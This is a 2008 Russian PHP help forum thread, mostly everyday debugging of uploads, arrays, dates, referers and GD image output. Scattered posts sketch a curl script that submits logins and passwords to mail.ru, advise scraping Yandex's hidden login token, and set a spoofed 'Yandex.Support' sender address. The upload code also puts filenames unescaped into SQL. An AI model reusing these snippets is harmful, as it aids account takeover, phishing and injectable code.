Мдя... зачем??? Тебе так не нравится??? ))) Ты бы это до ума довел
+ добавь поддержку такого себе списка профилей (храни в файле или в БД), ведь, по сути, работа с разными сайтами здесь заключается в изменении нескольких всего параметров, а именно:

//1. специфические для сайтов имена инпутов
$post = 'Login='.$mail.'&Domain='.$zone.'&Password='.$pass;
//2. путь к авторизации
$cl = curl_init('http://win.mail.ru/cgi-bin/auth');
//3. Referer
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
//4. Проверять характерные для разных сайтов сообщения об ошибках
$errorPageText=file_get_contents('error.php');

В итоге, в случае работы с большим кол-вом сайтов, можно будет получить некоторую гибкость малой кровью

m0Hze
15.12.2008, 02:08
не по поп3,можно былобы легко настраивать под любой почтовик.А так нужно еще помучаться с переменными.Ведь с яндексом я досих пор не смог заммутить...=)

ss88
15.12.2008, 02:19
и про Яндекс, я, кажется, понял, почему у тебя ничего не выходит, это не из-за http или https.
Просто там в форме присутствует скрытое поле
<input type="hidden" name="idkey" value = "3361229293991TPx0L3xKE">
Это какой-то динамический id... Но, по-моему, выйти из этой ситуации можно так:

$preAuth=file_get_contents('http://passport.yandex.ru/passport');
//$idKey=выдираем из кода страницы значение поля
//а когда уже передаем Логин/Пароль, то нужно в POST засунуть и этот id

+там еще есть скрытое поле timestamp, вполне возможно, что они проверяют его наличие в POST-запросе

geforce
15.12.2008, 02:20
Почему фото не выводится,,,,,,,,,,,,????? :confused:

форма(index.php):

<form enctype="multipart/form-data" method="POST" action="load.php">

<b>Фото:</b><br />
<input type="file" name="myfile" style="width:304px; height:18px" id="myfile" />

<br /><br />
<input style="height: 35px;" type="submit" value="Добавить фото" name="submit">

</form>

Оброботчик(load.php):

<?php

// Подключаемься к базе данных

include ("db.php");

//================Настройки============= //
$maxwidth = "300px"; // максимальная ширина картинок на превью
$fotos_dir = "fotos/"; // Директория для фотографий товаров
$foto_name = $fotos_dir.time()."_".basename($_FILES['myfile']['name']); // Полное имя файла вместе с путем
$foto_light_name = time()."_".basename($_FILES['myfile']['name']); // Имя файла исключая путь
$foto_tag = "<img src=\"$foto_name\" border=\"0\">"; // Готовый тэг для вставки картинки на страницу
$foto_tag_preview = "<img src=\"$foto_name\" border=\"0\" width=\"$maxwidth\">"; // Тот же тэг, но для превью

// Текст ошибок
$error_by_mysql = "<span style=\"font: bold 15px tahoma; color: red;\">Ошибка при добавлении данных в базу</span>";
$error_by_file = "<span style=\"font: bold 15px tahoma; color: red;\">Невозможно загрузить файл в директорию. Возможно её не существует</span>";



// Начало
if(isset($_FILES["myfile"]))
{
$myfile = $_FILES["myfile"]["tmp_name"];
$myfile_name = $_FILES["myfile"]["name"];
$myfile_size = $_FILES["myfile"]["size"];
$myfile_type = $_FILES["myfile"]["type"];
$error_flag = $_FILES["myfile"]["error"];

// Если ошибок не было
if($error_flag == 0)
{


$DOCUMENT_ROOT = $_SERVER['DOCMENT_ROOT'];
$upfile = getcwd()."\\fotos\\" . time()."_".basename($_FILES["myfile"]["name"]);
if ($_FILES['myfile']['tmp_name'])
{


//Если не удалось загрузить файл

if (!move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile))
{
echo "$error_by_file";
exit;
}

}
else
{
echo 'Проблема: возможна атака через загрузку файла. ';
echo $_FILES['myfile']['name'];
exit;
}


// Заносим путь картинки в базу данных
$q = "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')";
$query = mysql_query($q);

// вывод привью

$result = mysql_query("SELECT * FROM foto WHERE name='$foto_light_name'",$db);

if (!$result)
{
echo "<p>Запрос на выборку данных из базы не прошел. Напишите об этом администратору admin@ruseller.com. <br> <strong>Код ошибки:</strong></p>";
exit(mysql_error());
}

if (mysql_num_rows($result) > 0)

{
$myrow = mysql_fetch_array($result);

printf ("<img scr='".$myrow['url']."'>");

}

else
{
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit();
}



// Данные успешно внесены в базу данных, выводим сообщение
if ($query == 'true') {
echo "<br /><b>Данные успешно внесены в базу</b>";
}

// В противном случае, выводим ошибку при добавлении в базу данных
else {
echo "$error_by_mysql";

}

}

elseif ($myfile_size == 0) {
echo "Пустая форма!";
}


}

?>

ss88
15.12.2008, 02:43
Хм... странно, что РНР не ругался на то, что у тебя в mysql_query при выполнении запроса вставки не указан хэндл соединения с базой данных )))
$q = "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')";
$query = mysql_query($q,/*ты забыл вставить дескриптор соединения*/);

Есть масса замечаний
1. Зачем ты пишешь в путях обратный слэш??? В винде прямой тоже отлично работает Ну это так, вопросы совместимости.
2. Зачем ты выбираешь только что занесенную запись, если вся инфа у тебя и так есть в переменных???
Так можно долго продолжать, а так... будь внимательнее и не пиши себе проблем )))

ntldr
15.12.2008, 02:57
РНР не ругался
все нормально, в описании mysql_query явно указано, что идентификатор ресурса указывать не обязательно

ss88
15.12.2008, 03:14
Вот, почистил некоторый логический мусор, вот так все работает, а ошибка была банальнейшей, в тэге img, указан источник как атрибут не src, а scr и других очепяток в коде хватало )))
<?php
// Подключаемься к базе данных
include ("db.php");
//================Настройки============= //
// максимальная ширина картинок на превью
$maxwidth = "300px";
// Директория для фотографий товаров
$fotos_dir = "fotos/";
// Полное имя файла вместе с путем
$foto_name = $fotos_dir . time() . "_" . basename($_FILES['myfile']['name']);
// Имя файла исключая путь
$foto_light_name = time() . "_" . basename($_FILES['myfile']['name']);
// Готовый тэг для вставки картинки на страницу
$foto_tag = "<img src=\"$foto_name\" border=\"0\">";
// Тот же тэг, но для превью
$foto_tag_preview = "<img src=\"$foto_name\" border=\"0\" width=\"$maxwidth\">";
// Текст ошибок
$error_by_mysql = "<span style=\"font: bold 15px tahoma; color: red;\">Ошибка при добавлении данных в базу</span>";
$error_by_file = "<span style=\"font: bold 15px tahoma; color: red;\">Невозможно загрузить файл в директорию. Возможно её не существует</span>";
// Начало
if (isset($_FILES["myfile"])) {
$myfile = $_FILES["myfile"]["tmp_name"];
$myfile_size = $_FILES["myfile"]["size"];
// Если ошибок не было
if ($_FILES["myfile"]["error"] == 0) {
$upfile = getcwd() . "/fotos/" . time() . "_" . basename($_FILES["myfile"]["name"]);
if ($_FILES['myfile']['tmp_name']) {
//Если не удалось загрузить файл
if (! move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile)) {
echo $error_by_file;
exit();
}
} else {
echo 'Проблема: возможна атака через загрузку файла. '; //странный способ ))
echo $_FILES['myfile']['name'];
exit();
}
// Заносим путь картинки в базу данных
$q = "INSERT INTO foto (url,name) VALUES ('$foto_name','$foto_light_name')";
$query = mysql_query($q, $db);

if ($query) {
printf("<img src='{$foto_name}'/>");
echo "<br /><b>Данные успешно внесены в базу</b>";
} else {
echo "<p>Информация по запросу не может быть извлечена в таблице нет записей.</p>";
exit(mysql_error());
}
} elseif ($myfile_size == 0) {
echo "Пустая форма!";
}
}
?>
Все работает

DTW
15.12.2008, 05:05
<?php

$arr = array(
"Nort America"=>array("USA"=>array("Capital"=>"
Washington")),
"Europa"=> array("France"=>array("Capital"=>"Paris")),
"Africa"=> array("Moroco"=>array("Capital"=>"Moroco")) );

foreach ($arr as $k => $v)
{
echo $k ."\n" ;
foreach($v as $arr => $k)
{
echo $arr ." "."<br/>\n";
/* что надо подставить 3 цыкл ? */

foreach ($v as $arr)
{
echo $arr ."\n";
}
}
}

?>




Помогите вывести название столиц...

.:EnoT:.
15.12.2008, 05:36
$arr = array("Nort America"=>array("USA"=>array("Capital"=>"Washington")),
"Europa"=> array("France"=>array("Capital"=>"Paris")),
"Africa"=> array("Moroco"=>array("Capital"=>"Moroco")) );

foreach($arr as $part => $country) {

foreach($country as $name => $land){

foreach($land as $capital){

echo 'Часть света: '.$part.' => Страна: '.$name.' => Столица: '.$capital.'<br/>';
}
}
}

ss88
15.12.2008, 13:28
Почему фото не выводится,,,,,,,,,,,,????? :confused:


А вот так, вроде, намного лучше, при той же функциональности:
<?php
// Подключаемься к базе данных
include ("db.php");
//================Настройки============= //
// максимальная ширина картинок на превью
$maxwidth = "300px";
// Директория для фотографий товаров
$fotos_dir = "fotos/";
// Полное имя файла вместе с путем
$foto_name = $fotos_dir . time() . "_" . $_FILES['myfile']['name'];
// Готовый тэг для вставки картинки на страницу
$foto_tag = "<img src='{$foto_name}' border='0'>";
// Тот же тэг, но для превью
$foto_tag_preview = "<img src='{$foto_name}' border='0' width='{$maxwidth}'>";
// Текст ошибок
$error_by_mysql = "<span style='font: bold 15px tahoma; color: red'>Ошибка при добавлении данных в базу</span>";
$error_by_file = "<span style='font: bold 15px tahoma; color: red'>Невозможно загрузить файл в директорию. Возможно её не существует</span>";
// Начало
if (isset($_FILES["myfile"])) {
// Если ошибок не было
if (($_FILES["myfile"]["error"] == 0) && (in_array(strtolower(substr($_FILES['myfile']['name'], - 4)), array(".jpg" , ".gif" , ".png")))) {
$upfile = getcwd() . "/fotos/" . time() . "_" . basename($_FILES["myfile"]["name"]);
if ($_FILES['myfile']['tmp_name']){
//Если не удалось загрузить файл
if (! move_uploaded_file($_FILES['myfile']['tmp_name'], $upfile))
exit($error_by_file);
}
else
exit ("Проблема: возможна атака через загрузку файла хотя проверяется это не так, а, наверное, просто нам подсовывают файл не с тем расширением {$_FILES ['myfile'] ['name']}");
// Заносим путь картинки в базу данных
$query = mysql_query("INSERT INTO foto (url,name) VALUES ('{$foto_name}','{$fotos_dir}{$foto_name}')", $db);
if ($query)
echo "{$foto_tag}Ъ<br /><b>Данные успешно внесены в базу</b>";
else
exit("<p>Ошибка сохранения данных.</p>" . mysql_error());
} else //Если возникла ошибка при передаче или левое расширение файла
exit("Ошибка обработки данных либо вы пытаетесь подсунуть нам свинью");
}
?>

-m0rgan-
15.12.2008, 15:47
Какой авторизации? Через БД, файл, Бейсик ?

БД...я написал,но сомниваюсь в его надёжности...

Naydav
15.12.2008, 15:49
Не думал, что возникнут трудности при решении такой банальной задачи
Какой-то ступор седня :)
Нужно отфильтровать пользователей по возрасту

Например, есть поле "От" и "До"
И есть массив с датами рождений, например 06.08.1985, 31.12.1985 и т.д.

Нужно выбрать всех пользователей входящих в условия - от и до, причем не только по годам( но и по месяцам и дням, т.е. др у пользователя-6 августа, знач 5 числа, он не входит, а 6 уже входит в групу)

А проблема возникла в следующем
Замечание: Для большинства систем допустимыми являются даты с 13 декабря 1901, 20:45:54 GMT по 19 января 2038, 03:14:07 GMT.
После 38 года, они обнулятся

Но мне нужен расчет и в дальнейшем

Вообщем прошу Вашей помощи! ( не нагуглил:) )

ss88
15.12.2008, 15:54
не понял сути проблемы, ты рассчитываешь свою систему "на века"? )))) Или как? Поясни немного, а то, наверное, и у меня ступор седня ))

groundhog
15.12.2008, 16:02
Во-первых, когда работаешь с датами, работай с таймстампами дат... Преобразуй читабельные даты в таймстамп времени и фильтруй по нему... Что касается границы 2038 года, то налей пивка и успокойся, твоё аппаратное -программное средство, на котором ты работаешь не доживёт до тех времён когда это случится, а дальше найдут выход из этой ситуации...

Naydav
15.12.2008, 16:05
ты рассчитываешь свою систему "на века"?
-----------
Зачем на века, это пенсионный фонд, нужно учет дат и 1970 года и после 2038
(например опрос всем, кто кому от 50 лет, человек который родился в 1990году, сможет войти в группу только в 2040)

В опросе вверху все описано

Naydav
15.12.2008, 16:11
Во-первых, когда работаешь с датами, работай с таймстампами дат... Преобразуй читабельные даты в таймстамп времени и фильтруй по нему... Что касается границы 2038 года, то налей пивка и успокойся, твоё аппаратное -программное средство, на котором ты работаешь не доживёт до тех времён когда это случится, а дальше найдут выход из этой ситуации...


даты в таймстамп - ну это понятно, но тамстамп, до 1970 года идет в минус, если человек родился например в 1964, мне для него отсчет в обратном порядке делать?

то касается границы 2038 года, то налей пивка и успокойся, твоё аппаратное -программное средство...
Внимательно прочте вопрос
Я не собираюсь вычситывать это после 1938 года, но СЕЙЧАС функции php не работают с датами после 1938, например такие как strtotime, идеально подходящую под мои задачи

Есть вариант считать таймстамп с 1970 по нынешнюю дату + добавлять по модулю, минусовой таймстамп даты рождения человека (1964 г.р = - 6лет(в секундах))

Но мне кажется, это не оптимальный вариант

.::BARS::.
15.12.2008, 16:17
есть файл вида 45434867468_xxxxxxx
Нужно что бы на выводе было только xxxxxxx
т.е. нужно отбросить все что до _

159932
15.12.2008, 16:22
$m = explode('_',$c);
echo $m[1];

.:EnoT:.
15.12.2008, 16:24
есть файл вида 45434867468_xxxxxxx
Нужно что бы на выводе было только xxxxxxx
т.е. нужно отбросить все что до _
$a = '45434867468_xxxxxxx';
preg_match('#\d*_(.*)#', $a, $b);
echo $b[1];

UPD:
Пример выше будет работать быстрее) Я чё-то про explode() не подумал)

groundhog
15.12.2008, 16:36
Naydav, ну тогда придётся выйти из рамок таймстампа и хранить и работать уже с конечным представлением времени... Скажем ты берёшь за правило, что время будет в определённом формате DD.MM.YYYY HH:MM:SS... Пишешь свой парсер который парсит такие строки и возвращает, скажем, ассоциативный массив с индексами: year=>1910, day=39 и т.д. И пишешь свою функцию сравнения, которая будет работать с двумя подобными массивами, и скажем, возвращать -1 если одна дата меньше другой, 0 - если они равны и 1 если одна дата больше другой... Но тогда тебе придётся отказаться от хранения таймстампа как такового где бы то ни было - в базах, в скриптах и т.д. и перевести всю свою "систему" на работу по такой схеме...

m0Hze
15.12.2008, 17:29
хм,собственно вопрос.Как сделать такую фичу: человек обращаться к http://mysite.ru/index.php, если реферер с которого он пришел,равен например http://antichat.ru то ему выводиться "Античат",если реферер равен злой.орг то ему выволиться злой. Собственно можноли ето обставить например с помощью if или switch? Главный вопрос скорее как выглядит етот сам реферер?ТОчнее как его отловить?

Vid0k
15.12.2008, 17:33
хм,собственно вопрос.Как сделать такую фичу: человек обращаться к http://mysite.ru/index.php, если реферер с которого он пришел,равен например http://antichat.ru то ему выводиться "Античат",если реферер равен злой.орг то ему выволиться злой. Собственно можноли ето обставить например с помощью if или switch? Главный вопрос скорее как выглядит етот сам реферер?ТОчнее как его отловить?

<?php

$refer = $_SERVER['HTTP_REFERER'];
if(strpos($refer,'antichat.ru')){
echo 'Antchat.ru';
}
if(strpos($refer,'zloy.org')){
echo 'zloy.org';
}
?>

вроже так

m0Hze
15.12.2008, 17:36
спс большое,приду проверю.Сейчас бежать нужно 8(

lsass.exe
15.12.2008, 17:37
хм,собственно вопрос.Как сделать такую фичу: человек обращаться к http://mysite.ru/index.php, если реферер с которого он пришел,равен например http://antichat.ru то ему выводиться "Античат",если реферер равен злой.орг то ему выволиться злой. Собственно можноли ето обставить например с помощью if или switch? Главный вопрос скорее как выглядит етот сам реферер?ТОчнее как его отловить?
не стоит забывать о том что, рефер легко подделывается, либо вабще может быть пустым...А так можно делать как написал Vid0k.

optimazer
15.12.2008, 17:38
$_SERVER['HTTP_REFERER'] - в этой переменной лежит страничка, с которой был сделан переход на текущюю.

а потом парсишь этот url
результатом будет ассоциативный массив вида
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)

потом парсишь host и отсекаешь домен

m0Hze
15.12.2008, 20:21
А если,например,человек сам вбивает ссылку в браузер.То как тогда будет выглядеть реферер?Пустой,или может локалхост?)

Pashkela
15.12.2008, 20:43
хм,собственно вопрос.Как сделать такую фичу: человек обращаться к http://mysite.ru/index.php, если реферер с которого он пришел,равен например http://antichat.ru то ему выводиться "Античат",если реферер равен злой.орг то ему выволиться злой. Собственно можноли ето обставить например с помощью if или switch? Главный вопрос скорее как выглядит етот сам реферер?ТОчнее как его отловить?


<?
$otkuda=getenv("HTTP_REFERER");
$otkuda = preg_match("/^(http:\/\/)?([^\/]+)/i", $otkuda, $rez);
echo $rez[2];
?>

m0Hze
15.12.2008, 20:50
Да ето мы уже решили сообща с античатом,а вот вопрос из предидущего моего поста мне интересней...

Pashkela
15.12.2008, 20:58
А если,например,человек сам вбивает ссылку в браузер.То как тогда будет выглядеть реферер?Пустой,или может локалхост?)

Никак. Просто будет пусто. Вот и задай условие для пусто.

NuR
15.12.2008, 21:01
прошу обратить внимание что с https ссылок реферер не передаеться

ntldr
15.12.2008, 22:50
прошу обратить внимание что с https ссылок реферер не передаеться
вообще ссылки с античата не отправляют заголовок реферер

m0Hze
16.12.2008, 01:34
Вот вопросец :)
Имеем условие

switch (email_domain){
case 'yandex' : $from = "Yandex.Support <support@corp.yandex.ru>";
break;
}

Как бы мне указать,что нужно не только $from изменять но например еще и $out? Чтобы все в одном поле какбе.В одно выражении case '' : и вот тут сразу 2 переменные.

ss88
16.12.2008, 01:42
Вот вопросец :)
Как бы мне указать,что нужно не только $from изменять но например еще и $out? Чтобы все в одном поле какбе.В одно выражении case '' : и вот тут сразу 2 переменные.

switch (email_domain){
case 'yandex' :
{
$from="Yandex.Support<support@corp.yandex.ru>";
$out="поменять $out";
break;
}
}

если я правильно понял вопрос... Хотя скобки ставить необязательно, главное, чтобы был break, а то оно пробежится и по следующим сравнениям, пока не встретит этот оператор или просто до конца switch

m0Hze
16.12.2008, 01:44
Все,прелесть.Спасиба :)

life_is_shit
16.12.2008, 01:53
case 'yandex' : $from = $out = "Yandex.Support <support@corp.yandex.ru>";

0_o ?


2m0Hze
будь добр формируй по-людски условия задачи, а то хрен его знает что за $out и что ты туда хочешь записать. и блин, такие вопросы задаешь, что тебе так и хочется кинуть ссылку на русский php-ман, хоть бы основы почитал=\

geforce
16.12.2008, 02:16
Вот код?

<?
$im = imagecreatetruecolor(215, 750);

$im1 = imagecreatefromjpeg('fotos/1228855425_006-0018.jpg');
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg('admin/data/1228856224_6fb8711c4be2d606f4.jpg');

imagecopy($im, $im1, 0, 0, 0, 0, 25, 25);
imagecopy($im, $im2, 25, 0, 0, 0, 25, 25);
imagecopy($im, $im3, 0, 25, 0, 0, 25, 25);

header('Content-type: image/jpeg');
imagejpeg($im);
?>

можно ли в imagecreatefromjpeg параметром ставить переменую с картинокой типа

$a = 'fotos/1228855425_006-0018.jpg'

???

и почему он выводит:

Warning: Cannot modify header information - headers already sent by (output started at G:\home\img.ru\www\end1.php:8) in G:\home\img.ru\www\end1.php on line 19
яШяаJFIFяю>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality яЫC    $.' ",#(7),01444'9=82<.342яЫC  2!!222222222222222222222222222222222222222222222 22222яАоЧ"яД яДµ}!1AQa"q2Ѓ‘Ў#B±БRСр$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ„ †‡?‰Љ’“”•–—?™љўЈ¤Ґ¦§ ©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХ ЦЧШЩЪбвгдежзийкстуфхцчшщъ яД яДµw!1AQaq"2ЃB‘Ў±Б #3RрbrС $4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ„ …†‡?‰Љ’“”•–—?™љўЈ¤Ґ¦ Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФ ХЦЧШЩЪвгдежзийктуфхцчшщъя Ъ ?чъ(ўЂ щ‹Е?т7л_хя?юЊjъvѕbсOьЌъЧэПяЈ јмЗб‰ц<ьzѕ‹у2hўЉтЏРДт№яЂяи"і+OДт№яЂяи"і+иh >?ьs4я~*ю9~l(ўЉФб (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ>яўѕBя„ЛЕф2kш/яGь&^(яЎ“XяАйшЄфїіgьЗ_Х%ЬъцѕAс— Љ>ПгџCц=Ю^Ґr™уqњJГТ—ю/РЙ¬аtїьUp·уKsЁЭO<Ї,ТLот;fbI$“Ф“Юёс™zЊWґФЯЉДе НО„мЮ›'щ¦oВ]яN?щя±ЈюпъqяИїэЌs4Wџх:Лші«э dН?зпюKт,кoѕ’зfНшщsњ`ЧрЄФQ]1ЉЉI=ZІ«9T›»m·кВЉ(¦fQEQEQEQEQEQ EQEQEQEtфQE}Qм…s·?сх7ыньлў®vзю>¦я}їќy™—Б“рў*(ўјѓ„(ўЉ(ўЉ( Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉµэЈu я=сСюhЭП_ьt…Uўµцх™эмїi>мµэЈuя=сСюY?»c’NI¤ў¦U'?‰¶')Kv QEA!EPEPEPEPEPEPEPEPEPEPEPE PEPEPEPEPEPEPEPEPEPEPEPE

preda1or
16.12.2008, 02:31
header('Content-type: image/jpeg');
убери

Chode
16.12.2008, 02:43
перед header не должно ничего выводиться в браузер
можно ли в imagecreatefromjpeg параметром ставить переменую с картинокой типа - да можно =))

geforce
16.12.2008, 03:50
перед header не должно ничего выводиться в браузер
можно ли в imagecreatefromjpeg параметром ставить переменую с картинокой типа - да можно =))

убрал всё равно за место картинок выводится


яШяаJFIFяю>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality яЫC    $.' ",#(7),01444'9=82<.342яЫC  2!!222222222222222222222222222222222222222222222 22222яАоЧ"яД яДµ}!1AQa"q2Ѓ‘Ў#B±БRСр$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ„ †‡?‰Љ’“”•–—?™љўЈ¤Ґ¦§ ©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХ ЦЧШЩЪбвгдежзийкстуфхцчшщъ яД яДµw!1AQaq"2ЃB‘Ў±Б #3RрbrС $4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ„ …†‡?‰Љ’“”•–—?™љўЈ¤Ґ¦ Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФ ХЦЧШЩЪвгдежзийктуфхцчшщъя Ъ ?чъ(ўЂ щ‹Е?т7л_хя?юЊjъvѕbсOьЌъЧэПяЈ јмЗб‰ц<ьzѕ‹у2hўЉтЏРДт№яЂяи"і+OДт№яЂяи"і+иh >?ьs4я~*ю9~l(ўЉФб (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ>яўѕBя„ЛЕф2kш/яGь&^(яЎ“XяАйшЄфїіgьЗ_Х%ЬъцѕAс— Љ>ПгџCц=Ю^Ґr™уqњJГТ—ю/РЙ¬аtїьUp·уKsЁЭO<Ї,ТLот;fbI$“Ф“Юёс™zЊWґФЯЉДе НО„мЮ›'щ¦oВ]яN?щя±ЈюпъqяИїэЌs4Wџх:Лші«э dН?зпюKт,кoѕ’зfНшщsњ`ЧрЄФQ]1ЉЉI=ZІ«9T›»m·кВЉ(¦fQEQEQEQEQEQ EQEQEQEtфQE}Qм…s·?сх7ыньлў®vзю>¦я}їќy™—Б“рў*(ўјѓ„(ўЉ(ўЉ( Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉµэЈu я=сСюhЭП_ьt…Uўµцх™эмїi>мµэЈuя=сСюY?»c’NI¤ў¦U'?‰¶')Kv QEA!EPEPEPEPEPEPEPEPEPEPEPE PEPEPEPEPEPEPEPEPE

GreenBear
16.12.2008, 04:44
header('Content-type: image/jpeg');
убери
чего ты людям советуешь того, чего не знаешь вообще даже в основе? все он правильно поставил!

верни хидер

.:EnoT:.
16.12.2008, 05:13
И хидер верни и можешь поставить error_reporting(0) в самое начало, мб заработает)

preda1or
16.12.2008, 05:18
чего ты людям советуешь того, чего не знаешь вообще даже в основе? все он правильно поставил!
Иногда раздражают, такие как ты.

life_is_shit
16.12.2008, 05:24
И хидер верни и можешь поставить error_reporting(0) в самое начало, мб заработает)

не заработает, но
"Warning: Cannot modify header information - headers already sent by (output started at G:\home\img.ru\www\end1.php:8) in G:\home\img.ru\www\end1.php on line 19"

пропадет :D

2geforce у меня твой код работает.
проверь на всякий вот это:
Примечание: поддержка JPEG возможна только в том случае, если PHP был скомпилирован с GD-1.8 или новее

2preda1or, ман почитай, а потом спорь ;)

GreenBear
16.12.2008, 05:29
проверь на всякий вот это:
у него были бы другие ошибки.

GreenBear
16.12.2008, 05:30
Иногда раздражают, такие как ты.
да, не люблю читать маны, чтобы знать как что работает. люблю кричать убери хидер, который говорит браузеру о том, что это за херня такая и как ее показывать надо.

life_is_shit
16.12.2008, 05:32
у него были бы другие ошибки.

угу, но по логике у него их вообще быть не должно :rolleyes:

SYMBiO
16.12.2008, 05:58
$picture = new Imagick('6895.jpeg');
$picture->cropImage(6, 8, 6, 6);
$picture->getImageBlob();

что не так?

DTW
16.12.2008, 09:42
что не так?
Сам класс выложи тоже то как ток по обьекту судит .. нм

oRb
16.12.2008, 10:09
Сам класс выложи тоже то как ток по обьекту судит .. нм
o_O какой тебе класс нужен? Это ImageMagick.
$picture = new Imagick('6895.jpeg');
$picture->cropImage(6, 8, 6, 6);
$picture->getImageBlob();

что не так?

string Imagick::getImageBlob ( void )

geforce
16.12.2008, 14:59
o_O какой тебе класс нужен? Это ImageMagick.


string Imagick::getImageBlob ( void )



Я тут покапался и что узнал! Короч если убрать последние две строчки то ошибок нету из этого следует что веноваты две последние функции header и imagejpeg!! Как решить эти две проблеммы?

<?
$im = imagecreatetruecolor(215, 750);

$im1 = imagecreatefromjpeg('verx.jpg');
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg('niz.jpg');

imagecopy($im, $im1, 0, 0, 0, 0, 25, 25);
imagecopy($im, $im2, 25, 0, 0, 0, 25, 25);
imagecopy($im, $im3, 0, 25, 0, 0, 25, 25);


header('Content-type: image/jpg'); // дает первую ошибку
imagejpeg($im); // дает вторую ошибку


?>



сами ошибки:

Warning: Cannot modify header information - headers already sent by (output started at G:\home\img.ru\www\end1.php:3) in G:\home\img.ru\www\end1.php on line 15
яШяаJFIFяю>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality яЫC    $.' ",#(7),01444'9=82<.342яЫC  2!!222222222222222222222222222222222222222222222 22222яАоЧ"яД яДµ}!1AQa"q2Ѓ‘Ў#B±БRСр$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ„ †‡?‰Љ’“”•–—?™љўЈ¤Ґ¦§ ©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХ ЦЧШЩЪбвгдежзийкстуфхцчшщъ яД яДµw!1AQaq"2ЃB‘Ў±Б #3RрbrС $4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ„ …†‡?‰Љ’“”•–—?™љўЈ¤Ґ¦ Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФ ХЦЧШЩЪвгдежзийктуфхцчшщъя Ъ ?х•ЦЭqІКањ(О?u9И!tСЋџ<Яа)Б@'”Ѓ[Щъі9u9cЅЬFЫЬе@Ђ1’о5вѕ!я‘—U яЇЙїф3^Щo3OМLЈК9 ЊдьЏй^'в|KЄяЧдЯъЇ+3шb}ЇЇў МЪ(ўјsфC†сь‡.а?ъ¬КУсь‡. ?ъ¬КъВЏў?Н?Я«Ћ_› (ўµ8BЉ( Љ( Љ( Љ( Љ( Љ( Љ( Љ( Љ( ґДЏРЂ9йњУЙbј0Пёй[ўЪ ЬГ\`Ёя B,•Дe „Ёя ЧњЗЩі_4ДГzЋ;/я^ѕfс7Љ|Џлэ“—}2оуqњ9й_]Й ІFоСG…’Ptь«вmя„чД[WbяiЬбHЖљЬcµaZњ*¤¦ЏCЋДаd凕 ЯDя4Л?р—УЏюEямhя„»юњт/яc\НПх:ЛшіТяY3Oщыя’Зь‹:…ЯЫ п¤№Щі~>\зuь*µWLbў’GЏV¬ЄОU&оЫmъ°ўЉ)™…Q@Q@Q@Q@Q@Q@Q@Q @Q@|дЂШдЊђ3Њюµ^ЪДЖWщШb Ђ:S»щh\дЃйЧйТ©Е5*ДЎci#“$”ѓЖG Ґ0%*n,Њjш#е`OЮЁь}kвПЁOxЌm Є\Ђ=?zХцФ1yA№rXоlњуЋХс?ЋядЎx—ю В·_ъ5ЁџўЉ)QEQEQEQEQEQEQEQEQEQEQE Ю·ЖЏ?¤6ѕ=Р*яшЭ!шНгц•%:р.™ ~ЕoЖzяptPя ЇвЗьTЋџиVяьnё‹ыЫЌOP№ї»“М №•¦™ц…ЬмIcЃАдћ•^Љ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ўЉ(ў Љ(ўЉ(ўЉ

Vid0k
16.12.2008, 15:10
Cannot modify header information - headers already sent by
хидеры должны отправляться раньше всего остального

geforce
16.12.2008, 15:22
хидеры должны отправляться раньше всего остального

Поставил вперёд та же самая ошибка! есть ещё предложения?

kalpsik
16.12.2008, 16:11
html-кода перед пхп нету? если есть, то вставляй хедер самой первой строкой...

geforce
16.12.2008, 16:30
html-кода перед пхп нету? если есть, то вставляй хедер самой первой строкой...

Ну и вставил:

<? header('Content-type: image/jpeg'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
